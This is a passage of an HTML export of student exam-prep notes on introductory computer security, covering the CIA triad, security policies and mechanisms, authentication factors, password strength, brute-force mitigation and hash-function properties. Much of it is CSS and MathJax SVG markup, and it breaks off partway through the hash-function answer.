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index.html
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<!doctype html>
<html>
<head>
<meta charset='UTF-8'><meta name='viewport' content='width=device-width initial-scale=1'>
<title>domande</title><style type='text/css'>html {overflow-x: initial !important;}:root { --node-fill: #ECECFF; --node-border: #CCCCFF; --note-fill: #fff5ad; --note-border: #aaaa33; --cluster-fill: #ffffde !important; --cluster-border: #aaaa33 !important; }
.mermaid .label { color: var(--text-color); }
.node rect, .node circle, .node ellipse, .node polygon { fill: var(--node-fill); stroke: var(--node-border); stroke-width: 1px; }
.edgePath .path { stroke: var(--text-color); }
.edgeLabel { background-color: var(--bg-color); }
.cluster rect { fill: rgb(255, 255, 222) !important; rx: 4 !important; stroke: rgb(170, 170, 51) !important; stroke-width: 1px !important; }
.cluster text { fill: var(--text-color); }
.actor { stroke: var(--node-border); fill: var(--node-fill); }
text.actor { fill: var(--text-color); stroke: none; }
.actor-line { stroke: grey; }
.messageLine0 { stroke-width: 1.5; stroke: var(--text-color); }
.messageLine1 { stroke-width: 1.5; stroke: var(--text-color); }
#arrowhead { fill: var(--text-color); }
#crosshead path { fill: var(--text-color) !important; stroke: var(--text-color) !important; }
.messageText { fill: var(--text-color); stroke: none; }
.labelBox { stroke: var(--node-border); fill: var(--node-fill); }
.labelText { fill: var(--text-color); stroke: none; }
.loopText { fill: var(--text-color); stroke: none; }
.loopLine { stroke-width: 2; stroke: var(--node-border); }
.note { stroke: var(--note-border); fill: var(--note-fill); }
.noteText { fill: var(--text-color); stroke: none; font-size: 14px; }
.section { stroke: none; opacity: 0.2; }
.section0 { fill: rgba(102, 102, 255, 0.49); }
.section2 { fill: rgb(255, 244, 0); }
.section1, .section3 { fill: white; opacity: 0.2; }
.sectionTitle0 { fill: var(--text-color); }
.sectionTitle1 { fill: var(--text-color); }
.sectionTitle2 { fill: var(--text-color); }
.sectionTitle3 { fill: var(--text-color); }
.sectionTitle { text-anchor: start; font-size: 11px; }
.grid .tick { stroke: lightgrey; opacity: 0.3; shape-rendering: crispEdges; }
.grid path { stroke-width: 0; }
.today { fill: none; stroke: red; stroke-width: 2px; }
.task { stroke-width: 2; }
.taskText { text-anchor: middle; font-size: 11px; }
.taskTextOutsideRight { fill: black; text-anchor: start; font-size: 11px; }
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.taskTextOutside0, .taskTextOutside2 { fill: var(--text-color); }
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.activeCritText0, .activeCritText1, .activeCritText2, .activeCritText3 { fill: black !important; }
.titleText { text-anchor: middle; font-size: 18px; fill: black; }
.node text { font-size: 14px; }
div.mermaidTooltip { position: absolute; text-align: center; max-width: 200px; padding: 2px; font-size: 12px; background: rgb(255, 255, 222); border: 1px solid rgb(170, 170, 51); border-radius: 2px; pointer-events: none; z-index: 100; }
#write .md-diagram-panel .md-diagram-panel-preview div { width: initial; }
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iframe { margin: auto; }
a.url { word-break: break-all; }
a:active, a:hover { outline: 0px; }
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.for-image #write { padding-left: 8px; padding-right: 8px; }
body.typora-export { padding-left: 30px; padding-right: 30px; }
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body.typora-export { padding-left: 0px; padding-right: 0px; }
.CodeMirror-sizer { margin-left: 0px !important; }
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}
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#write li > figure:first-child { margin-top: -20px; }
#write ol, #write ul { position: relative; }
img { max-width: 100%; vertical-align: middle; }
button, input, select, textarea { color: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; font-size: inherit; line-height: inherit; font-family: inherit; }
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*, ::after, ::before { box-sizing: border-box; }
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a { cursor: pointer; }
sup.md-footnote { padding: 2px 4px; background-color: rgba(238, 238, 238, 0.7); color: rgb(85, 85, 85); border-radius: 4px; cursor: pointer; }
sup.md-footnote a, sup.md-footnote a:hover { color: inherit; text-transform: inherit; text-decoration: inherit; }
#write input[type="checkbox"] { cursor: pointer; width: inherit; height: inherit; }
figure { overflow-x: auto; margin: 1.2em 0px; max-width: calc(100% + 16px); padding: 0px; }
figure > table { margin: 0px !important; }
tr { break-inside: avoid; break-after: auto; }
thead { display: table-header-group; }
table { border-collapse: collapse; border-spacing: 0px; width: 100%; overflow: auto; break-inside: auto; text-align: left; }
table.md-table td { min-width: 80px; }
.CodeMirror-gutters { border-right: 0px; background-color: inherit; }
.CodeMirror { text-align: left; }
.CodeMirror-placeholder { opacity: 0.3; }
.CodeMirror pre { padding: 0px 4px; }
.CodeMirror-lines { padding: 0px; }
div.hr:focus { cursor: none; }
#write pre { white-space: pre-wrap; }
#write.fences-no-line-wrapping pre { white-space: pre; }
#write pre.ty-contain-cm { white-space: normal; }
.CodeMirror-gutters { margin-right: 4px; }
.md-fences { font-size: 0.9rem; display: block; break-inside: avoid; text-align: left; overflow: visible; white-space: pre; background: inherit; position: relative !important; }
.md-diagram-panel { width: 100%; margin-top: 10px; text-align: center; padding-top: 0px; padding-bottom: 8px; overflow-x: auto; }
#write .md-fences.mock-cm { white-space: pre-wrap; }
.md-fences.md-fences-with-lineno { padding-left: 0px; }
#write.fences-no-line-wrapping .md-fences.mock-cm { white-space: pre; overflow-x: auto; }
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.CodeMirror-line, twitterwidget { break-inside: avoid; }
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.footnotes + .footnotes { margin-top: 0px; }
.md-reset { margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; background: 0px 0px; text-decoration: none; text-shadow: none; float: none; position: static; width: auto; height: auto; white-space: nowrap; cursor: inherit; -webkit-tap-highlight-color: transparent; line-height: normal; font-weight: 400; text-align: left; box-sizing: content-box; direction: ltr; }
li div { padding-top: 0px; }
blockquote { margin: 1rem 0px; }
li .mathjax-block, li p { margin: 0.5rem 0px; }
li { margin: 0px; position: relative; }
blockquote > :last-child { margin-bottom: 0px; }
blockquote > :first-child, li > :first-child { margin-top: 0px; }
.footnotes-area { color: rgb(136, 136, 136); margin-top: 0.714rem; padding-bottom: 0.143rem; white-space: normal; }
#write .footnote-line { white-space: pre-wrap; }
@media print {
body, html { border: 1px solid transparent; height: 99%; break-after: avoid; break-before: avoid; }
#write { margin-top: 0px; border-color: transparent !important; }
.typora-export * { -webkit-print-color-adjust: exact; }
html.blink-to-pdf { font-size: 13px; }
.typora-export #write { padding-left: 1cm; padding-right: 1cm; padding-bottom: 0px; break-after: avoid; }
.typora-export #write::after { height: 0px; }
@page { margin: 20mm 0px; }
}
.footnote-line { margin-top: 0.714em; font-size: 0.7em; }
a img, img a { cursor: pointer; }
pre.md-meta-block { font-size: 0.8rem; min-height: 0.8rem; white-space: pre-wrap; background: rgb(204, 204, 204); display: block; overflow-x: hidden; }
p > img:only-child { display: block; margin: auto; }
p > .md-image:only-child { display: inline-block; width: 100%; text-align: center; }
#write .MathJax_Display { margin: 0.8em 0px 0px; }
.md-math-block { width: 100%; }
.md-math-block:not(:empty)::after { display: none; }
[contenteditable="true"]:active, [contenteditable="true"]:focus { outline: 0px; box-shadow: none; }
.md-task-list-item { position: relative; list-style-type: none; }
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.math { font-size: 1rem; }
.md-toc { min-height: 3.58rem; position: relative; font-size: 0.9rem; border-radius: 10px; }
.md-toc-content { position: relative; margin-left: 0px; }
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.md-toc-item { display: block; color: rgb(65, 131, 196); }
.md-toc-item a { text-decoration: none; }
.md-toc-inner:hover { }
.md-toc-inner { display: inline-block; cursor: pointer; }
.md-toc-h1 .md-toc-inner { margin-left: 0px; font-weight: 700; }
.md-toc-h2 .md-toc-inner { margin-left: 2em; }
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.md-toc-h5 .md-toc-inner { margin-left: 8em; }
.md-toc-h6 .md-toc-inner { margin-left: 10em; }
@media screen and (max-width: 48em) {
.md-toc-h3 .md-toc-inner { margin-left: 3.5em; }
.md-toc-h4 .md-toc-inner { margin-left: 5em; }
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.md-toc-h6 .md-toc-inner { margin-left: 8em; }
}
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.footnote-line a:not(.reversefootnote) { color: inherit; }
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.md-fn-count::after { content: "."; }
code, pre, samp, tt { font-family: var(--monospace); }
kbd { margin: 0px 0.1em; padding: 0.1em 0.6em; font-size: 0.8em; color: rgb(36, 39, 41); background: rgb(255, 255, 255); border: 1px solid rgb(173, 179, 185); border-radius: 3px; box-shadow: rgba(12, 13, 14, 0.2) 0px 1px 0px, rgb(255, 255, 255) 0px 0px 0px 2px inset; white-space: nowrap; vertical-align: middle; }
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code { text-align: left; vertical-align: initial; }
a.md-print-anchor { white-space: pre !important; border-width: initial !important; border-style: none !important; border-color: initial !important; display: inline-block !important; position: absolute !important; width: 1px !important; right: 0px !important; outline: 0px !important; background: 0px 0px !important; text-decoration: initial !important; text-shadow: initial !important; }
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table tr th { border-bottom: 0px; }
video { max-width: 100%; display: block; margin: 0px auto; }
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<div id='write' class = 'is-node'><h2><a name='header-n0' class='md-header-anchor '></a>Domande di I2CNS</h2><h4><a name='header-n2' class='md-header-anchor '></a>Introduction</h4><ul><li><p>Define the concept of "CIA Triad"</p><blockquote><p>CIA Stands for:</p><ol start='' ><li><strong>Confidentiality</strong>: Prevents unauthorized disclosure of information.</li><li><strong>Integrity</strong>: The information shouldn't be modified or deleted in an unauthorized manner.</li><li><strong>Availability</strong>: Information should be readily available for authorized users and unauthorized withholding of information or resources should be prevented.</li></ol><p>It's a vague, platonic and high-level concept in Information Security. There should be some balance between this triad to have a TRULY secure information.</p></blockquote></li><li><p>Define the concept of “Security policy” and give an example</p><blockquote><p>Security policies are a mid-level set of rules and requirements established by an organization, regulating the acceptable use of their info and services. They specify through refinement how the CIA triad is implemented to protect confidentiality, integrity and availability of information.</p><p>Examples: All employees must have a strong password, >16 characters , strictly Alphanumeric + Symbols. All visitors of the server farm should be supervised by a security member.</p></blockquote></li><li><p>Define the concept of “Security mechanism” and give an example</p><blockquote><p>Device or function designed to provide one or more security services, a more technology-related level that serves as enforcement of Security Policies. They are usually rated in terms of strength of service and assurance of design</p><p>Examples: Access Control System. OS Sandbox to isolate applications</p></blockquote></li></ul><h4><a name='header-n26' class='md-header-anchor '></a>Authentication I</h4><ul><li><p>Define the concept of "Authentication"; list and explain the three main classes of authentication factors that can be used in the process and give a concrete example for each of them</p><blockquote><p>Authentication is the procedure to verify the identity of an User. It can be useful for access control based on user identity or to log security relevant events in an audit trail.</p><p>The three main classes of authentications are:</p><ul><li>Something you know: Password</li><li>Something you have: ID Badge</li><li>Something you are: Biometric fingerprint</li></ul></blockquote></li><li><p>What is a password? Characterize what it means for a password to be strong and weak</p><blockquote><p>A password is a String/Code/Passphrase that should be secretly shared between the user and the system because it's used to prove that you are who you claim to be.</p><p>A <strong>strong password</strong>, according to NIST, it's a password <strong>EASY TO REMEMBER, HARD TO GUESS</strong>. Generally speaking, a passphrase of 4 random and uncommon words (sum up to <strong>minimum 8 characters</strong>) is considered strong.</p><p>Despite what we think, <strong>it's no longer mandatory having special characters.</strong> It's now considered a <strong>BAD</strong> practice having a password with a single word, hard to remember with special characters. </p><p>It doesn't require password time expirations, <strong>but it should expire if we think we have a breach.</strong></p><p>A <strong>weak password</strong> is easy to guess. Common words, common passphrases, common passwords, single word, combination of numbers only, etc.</p></blockquote></li><li><p>What is a brute force guessing attack? How can it be mitigated?</p><blockquote><p>A brute force guessing attack it's an attack on the authentication process. Technically speaking, it's the act of generating all possible combinations of valid symbols in order to guess the password of an user. It can be easily mitigated using <strong>strong passwords</strong> and <strong>limiting login attempts</strong>.</p></blockquote></li><li><p>Define the concept of “Cryptographic hash function” with at least three key properties. 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xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E8-MJMAIN-3D" x="8791" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E8-MJMATHI-68" x="9846" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E8-MJMAIN-28" x="10422" y="0"></use><g transform="translate(10811,0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E8-MJMATHI-78" x="0" y="0"></use><use transform="scale(0.707)" xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E8-MJMAIN-32" x="808" y="-213"></use></g><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E8-MJMAIN-29" x="11837" y="0"></use></g></svg></span><script type="math/tex" id="MathJax-Element-8">x_1=x_2\implies h(x_1)=h(x_2)</script></li><li>A small change should change the hash digest extensively (Avalanche Effect)</li><li><strong>Compression</strong>: <span class="MathJax_Preview"></span><span class="MathJax_SVG" id="MathJax-Element-108-Frame" tabindex="-1" style="font-size: 100%; display: inline-block;"><svg xmlns:xlink="http://www.w3.org/1999/xlink" width="1.338ex" height="2.065ex" viewBox="0 -776.4 576 889.1" role="img" focusable="false" style="vertical-align: -0.262ex;"><defs><path stroke-width="0" id="E108-MJMATHI-68" d="M137 683Q138 683 209 688T282 694Q294 694 294 685Q294 674 258 534Q220 386 220 383Q220 381 227 388Q288 442 357 442Q411 442 444 415T478 336Q478 285 440 178T402 50Q403 36 407 31T422 26Q450 26 474 56T513 138Q516 149 519 151T535 153Q555 153 555 145Q555 144 551 130Q535 71 500 33Q466 -10 419 -10H414Q367 -10 346 17T325 74Q325 90 361 192T398 345Q398 404 354 404H349Q266 404 205 306L198 293L164 158Q132 28 127 16Q114 -11 83 -11Q69 -11 59 -2T48 16Q48 30 121 320L195 616Q195 629 188 632T149 637H128Q122 643 122 645T124 664Q129 683 137 683Z"></path></defs><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="matrix(1 0 0 -1 0 0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E108-MJMATHI-68" x="0" y="0"></use></g></svg></span><script type="math/tex" id="MathJax-Element-108">h</script> maps inputs <span class="MathJax_Preview"></span><span class="MathJax_SVG" id="MathJax-Element-106-Frame" tabindex="-1" style="font-size: 100%; display: inline-block;"><svg xmlns:xlink="http://www.w3.org/1999/xlink" width="1.329ex" height="1.423ex" viewBox="0 -499.9 572 612.5" role="img" focusable="false" style="vertical-align: -0.262ex;"><defs><path stroke-width="0" id="E106-MJMATHI-78" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 66T107 46T94 41L91 40Q91 39 97 36T113 29T132 26Q168 26 194 71Q203 87 217 139T245 247T261 313Q266 340 266 352Q266 380 251 392T217 404Q177 404 142 372T93 290Q91 281 88 280T72 278H58Q52 284 52 289Z"></path></defs><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="matrix(1 0 0 -1 0 0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E106-MJMATHI-78" x="0" y="0"></use></g></svg></span><script type="math/tex" id="MathJax-Element-106">x</script> of arbitrary bit-length to outputs <span class="MathJax_Preview"></span><span class="MathJax_SVG" id="MathJax-Element-39-Frame" tabindex="-1" style="font-size: 100%; display: inline-block;"><svg xmlns:xlink="http://www.w3.org/1999/xlink" width="4.473ex" height="2.707ex" viewBox="0 -831.8 1926 1165.7" role="img" focusable="false" style="vertical-align: -0.776ex;"><defs><path stroke-width="0" id="E39-MJMATHI-68" d="M137 683Q138 683 209 688T282 694Q294 694 294 685Q294 674 258 534Q220 386 220 383Q220 381 227 388Q288 442 357 442Q411 442 444 415T478 336Q478 285 440 178T402 50Q403 36 407 31T422 26Q450 26 474 56T513 138Q516 149 519 151T535 153Q555 153 555 145Q555 144 551 130Q535 71 500 33Q466 -10 419 -10H414Q367 -10 346 17T325 74Q325 90 361 192T398 345Q398 404 354 404H349Q266 404 205 306L198 293L164 158Q132 28 127 16Q114 -11 83 -11Q69 -11 59 -2T48 16Q48 30 121 320L195 616Q195 629 188 632T149 637H128Q122 643 122 645T124 664Q129 683 137 683Z"></path><path stroke-width="0" id="E39-MJMAIN-28" d="M94 250Q94 319 104 381T127 488T164 576T202 643T244 695T277 729T302 750H315H319Q333 750 333 741Q333 738 316 720T275 667T226 581T184 443T167 250T184 58T225 -81T274 -167T316 -220T333 -241Q333 -250 318 -250H315H302L274 -226Q180 -141 137 -14T94 250Z"></path><path stroke-width="0" id="E39-MJMATHI-78" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 66T107 46T94 41L91 40Q91 39 97 36T113 29T132 26Q168 26 194 71Q203 87 217 139T245 247T261 313Q266 340 266 352Q266 380 251 392T217 404Q177 404 142 372T93 290Q91 281 88 280T72 278H58Q52 284 52 289Z"></path><path stroke-width="0" id="E39-MJMAIN-29" d="M60 749L64 750Q69 750 74 750H86L114 726Q208 641 251 514T294 250Q294 182 284 119T261 12T224 -76T186 -143T145 -194T113 -227T90 -246Q87 -249 86 -250H74Q66 -250 63 -250T58 -247T55 -238Q56 -237 66 -225Q221 -64 221 250T66 725Q56 737 55 738Q55 746 60 749Z"></path></defs><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="matrix(1 0 0 -1 0 0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E39-MJMATHI-68" x="0" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E39-MJMAIN-28" x="576" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E39-MJMATHI-78" x="965" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E39-MJMAIN-29" x="1537" y="0"></use></g></svg></span><script type="math/tex" id="MathJax-Element-39">h(x)</script> of fixed bit-length <span class="MathJax_Preview"></span><span class="MathJax_SVG" id="MathJax-Element-12-Frame" tabindex="-1" style="font-size: 100%; display: inline-block;"><svg xmlns:xlink="http://www.w3.org/1999/xlink" width="1.394ex" height="1.551ex" viewBox="0 -555.2 600 667.8" role="img" focusable="false" style="vertical-align: -0.262ex;"><defs><path stroke-width="0" id="E12-MJMATHI-6E" d="M21 287Q22 293 24 303T36 341T56 388T89 425T135 442Q171 442 195 424T225 390T231 369Q231 367 232 367L243 378Q304 442 382 442Q436 442 469 415T503 336T465 179T427 52Q427 26 444 26Q450 26 453 27Q482 32 505 65T540 145Q542 153 560 153Q580 153 580 145Q580 144 576 130Q568 101 554 73T508 17T439 -10Q392 -10 371 17T350 73Q350 92 386 193T423 345Q423 404 379 404H374Q288 404 229 303L222 291L189 157Q156 26 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 112 180T152 343Q153 348 153 366Q153 405 129 405Q91 405 66 305Q60 285 60 284Q58 278 41 278H27Q21 284 21 287Z"></path></defs><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="matrix(1 0 0 -1 0 0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E12-MJMATHI-6E" x="0" y="0"></use></g></svg></span><script type="math/tex" id="MathJax-Element-12">n</script></li><li><strong>Ease of computation</strong>: given <span class="MathJax_Preview"></span><span class="MathJax_SVG" id="MathJax-Element-106-Frame" tabindex="-1" style="font-size: 100%; display: inline-block;"><svg xmlns:xlink="http://www.w3.org/1999/xlink" width="1.329ex" height="1.423ex" viewBox="0 -499.9 572 612.5" role="img" focusable="false" style="vertical-align: -0.262ex;"><defs><path stroke-width="0" id="E106-MJMATHI-78" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 66T107 46T94 41L91 40Q91 39 97 36T113 29T132 26Q168 26 194 71Q203 87 217 139T245 247T261 313Q266 340 266 352Q266 380 251 392T217 404Q177 404 142 372T93 290Q91 281 88 280T72 278H58Q52 284 52 289Z"></path></defs><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="matrix(1 0 0 -1 0 0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E106-MJMATHI-78" x="0" y="0"></use></g></svg></span><script type="math/tex" id="MathJax-Element-106">x</script>, it's easy to compute <span class="MathJax_Preview"></span><span class="MathJax_SVG" id="MathJax-Element-39-Frame" tabindex="-1" style="font-size: 100%; display: inline-block;"><svg xmlns:xlink="http://www.w3.org/1999/xlink" width="4.473ex" height="2.707ex" viewBox="0 -831.8 1926 1165.7" role="img" focusable="false" style="vertical-align: -0.776ex;"><defs><path stroke-width="0" id="E39-MJMATHI-68" d="M137 683Q138 683 209 688T282 694Q294 694 294 685Q294 674 258 534Q220 386 220 383Q220 381 227 388Q288 442 357 442Q411 442 444 415T478 336Q478 285 440 178T402 50Q403 36 407 31T422 26Q450 26 474 56T513 138Q516 149 519 151T535 153Q555 153 555 145Q555 144 551 130Q535 71 500 33Q466 -10 419 -10H414Q367 -10 346 17T325 74Q325 90 361 192T398 345Q398 404 354 404H349Q266 404 205 306L198 293L164 158Q132 28 127 16Q114 -11 83 -11Q69 -11 59 -2T48 16Q48 30 121 320L195 616Q195 629 188 632T149 637H128Q122 643 122 645T124 664Q129 683 137 683Z"></path><path stroke-width="0" id="E39-MJMAIN-28" d="M94 250Q94 319 104 381T127 488T164 576T202 643T244 695T277 729T302 750H315H319Q333 750 333 741Q333 738 316 720T275 667T226 581T184 443T167 250T184 58T225 -81T274 -167T316 -220T333 -241Q333 -250 318 -250H315H302L274 -226Q180 -141 137 -14T94 250Z"></path><path stroke-width="0" id="E39-MJMATHI-78" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 66T107 46T94 41L91 40Q91 39 97 36T113 29T132 26Q168 26 194 71Q203 87 217 139T245 247T261 313Q266 340 266 352Q266 380 251 392T217 404Q177 404 142 372T93 290Q91 281 88 280T72 278H58Q52 284 52 289Z"></path><path stroke-width="0" id="E39-MJMAIN-29" d="M60 749L64 750Q69 750 74 750H86L114 726Q208 641 251 514T294 250Q294 182 284 119T261 12T224 -76T186 -143T145 -194T113 -227T90 -246Q87 -249 86 -250H74Q66 -250 63 -250T58 -247T55 -238Q56 -237 66 -225Q221 -64 221 250T66 725Q56 737 55 738Q55 746 60 749Z"></path></defs><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="matrix(1 0 0 -1 0 0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E39-MJMATHI-68" x="0" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E39-MJMAIN-28" x="576" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E39-MJMATHI-78" x="965" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E39-MJMAIN-29" x="1537" y="0"></use></g></svg></span><script type="math/tex" id="MathJax-Element-39">h(x)</script></li><li><strong>One-way</strong>: Given a value <span class="MathJax_Preview"></span><span class="MathJax_SVG" id="MathJax-Element-40-Frame" tabindex="-1" style="font-size: 100%; display: inline-block;"><svg xmlns:xlink="http://www.w3.org/1999/xlink" width="1.154ex" height="1.936ex" viewBox="0 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xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E40-MJMATHI-79" x="0" y="0"></use></g></svg></span><script type="math/tex" id="MathJax-Element-40">y</script>, it's computationally hard to find an input <span class="MathJax_Preview"></span><span class="MathJax_SVG" id="MathJax-Element-106-Frame" tabindex="-1" style="font-size: 100%; display: inline-block;"><svg xmlns:xlink="http://www.w3.org/1999/xlink" width="1.329ex" height="1.423ex" viewBox="0 -499.9 572 612.5" role="img" focusable="false" style="vertical-align: -0.262ex;"><defs><path stroke-width="0" id="E106-MJMATHI-78" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 66T107 46T94 41L91 40Q91 39 97 36T113 29T132 26Q168 26 194 71Q203 87 217 139T245 247T261 313Q266 340 266 352Q266 380 251 392T217 404Q177 404 142 372T93 290Q91 281 88 280T72 278H58Q52 284 52 289Z"></path></defs><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="matrix(1 0 0 -1 0 0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E106-MJMATHI-78" x="0" y="0"></use></g></svg></span><script type="math/tex" id="MathJax-Element-106">x</script> such that <span class="MathJax_Preview"></span><span class="MathJax_SVG" id="MathJax-Element-41-Frame" tabindex="-1" style="font-size: 100%; display: inline-block;"><svg xmlns:xlink="http://www.w3.org/1999/xlink" width="8.725ex" height="2.707ex" viewBox="0 -831.8 3756.6 1165.7" role="img" focusable="false" style="vertical-align: -0.776ex;"><defs><path stroke-width="0" id="E41-MJMATHI-68" d="M137 683Q138 683 209 688T282 694Q294 694 294 685Q294 674 258 534Q220 386 220 383Q220 381 227 388Q288 442 357 442Q411 442 444 415T478 336Q478 285 440 178T402 50Q403 36 407 31T422 26Q450 26 474 56T513 138Q516 149 519 151T535 153Q555 153 555 145Q555 144 551 130Q535 71 500 33Q466 -10 419 -10H414Q367 -10 346 17T325 74Q325 90 361 192T398 345Q398 404 354 404H349Q266 404 205 306L198 293L164 158Q132 28 127 16Q114 -11 83 -11Q69 -11 59 -2T48 16Q48 30 121 320L195 616Q195 629 188 632T149 637H128Q122 643 122 645T124 664Q129 683 137 683Z"></path><path stroke-width="0" id="E41-MJMAIN-28" d="M94 250Q94 319 104 381T127 488T164 576T202 643T244 695T277 729T302 750H315H319Q333 750 333 741Q333 738 316 720T275 667T226 581T184 443T167 250T184 58T225 -81T274 -167T316 -220T333 -241Q333 -250 318 -250H315H302L274 -226Q180 -141 137 -14T94 250Z"></path><path stroke-width="0" id="E41-MJMATHI-78" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 66T107 46T94 41L91 40Q91 39 97 36T113 29T132 26Q168 26 194 71Q203 87 217 139T245 247T261 313Q266 340 266 352Q266 380 251 392T217 404Q177 404 142 372T93 290Q91 281 88 280T72 278H58Q52 284 52 289Z"></path><path stroke-width="0" id="E41-MJMAIN-29" d="M60 749L64 750Q69 750 74 750H86L114 726Q208 641 251 514T294 250Q294 182 284 119T261 12T224 -76T186 -143T145 -194T113 -227T90 -246Q87 -249 86 -250H74Q66 -250 63 -250T58 -247T55 -238Q56 -237 66 -225Q221 -64 221 250T66 725Q56 737 55 738Q55 746 60 749Z"></path><path stroke-width="0" id="E41-MJMAIN-3D" d="M56 347Q56 360 70 367H707Q722 359 722 347Q722 336 708 328L390 327H72Q56 332 56 347ZM56 153Q56 168 72 173H708Q722 163 722 153Q722 140 707 133H70Q56 140 56 153Z"></path><path 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xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E41-MJMAIN-28" x="576" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E41-MJMATHI-78" x="965" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E41-MJMAIN-29" x="1537" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E41-MJMAIN-3D" x="2203" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E41-MJMATHI-79" x="3259" y="0"></use></g></svg></span><script type="math/tex" id="MathJax-Element-41">h(x)=y</script></li><li><strong>Weak collision resistance</strong>: Given <span class="MathJax_Preview"></span><span class="MathJax_SVG" id="MathJax-Element-23-Frame" tabindex="-1" style="font-size: 100%; display: inline-block;"><svg xmlns:xlink="http://www.w3.org/1999/xlink" width="2.382ex" height="1.68ex" viewBox="0 -499.9 1025.6 723.1" role="img" focusable="false" style="vertical-align: -0.519ex;"><defs><path stroke-width="0" id="E23-MJMATHI-78" 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style="vertical-align: -0.519ex;"><defs><path stroke-width="0" id="E24-MJMATHI-78" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 